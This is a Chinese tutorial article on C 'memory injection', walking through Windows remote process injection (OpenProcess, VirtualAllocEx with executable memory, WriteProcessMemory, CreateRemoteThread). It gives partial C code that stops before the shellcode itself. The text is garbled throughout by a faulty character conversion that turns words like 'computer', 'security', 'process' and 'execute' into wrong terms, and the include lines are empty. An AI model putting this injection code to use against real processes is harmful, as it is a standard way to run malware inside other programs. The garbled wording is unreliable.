【揭秘C語言內存注入】技術揭秘與實戰案例分析

1. 內存注入概述

內存注入是打算機保險範疇的一個重要不雅點，它指的是將一段代碼（平日稱為ShellCode）注入到另一個過程的內存中，使其可能在目標過程中履行。這種技巧被廣泛利用於體系編程、軟體開辟跟保險範疇。C言語作為體系編程的基本，在內存注入技巧中扮演側重要角色。

2. 內存注入道理

內存注入的基本道理如下：

1. 獲取目標過程句柄：利用Windows API函數OpenProcess獲取目標過程的句柄。
2. 分配內存空間：利用VirtualAllocEx函數在目標過程的內存平分配空間，用於存放ShellCode。
3. 寫入ShellCode：利用WriteProcessMemory函數將ShellCode寫入到目標過程分配的內存空間。
4. 創建遠程線程：利用CreateRemoteThread函數在目標過程中創建一個遠程線程，並履行ShellCode。

3. 內存注入實戰案例分析

以下是一個簡單的內存注入實戰案例分析：

”`c #include #include

int main() {

// 獲取目標過程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1234); // 假設目標過程ID為1234
if (hProcess == NULL) {
    printf("無法獲取目標過程句柄。\n");
    return 1;
}

// 分配內存空間
LPVOID lpMem = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpMem == NULL) {
    printf("無法分配內存。\n");
    return 1;
}

// ShellCode
unsigned char shellcode[] = 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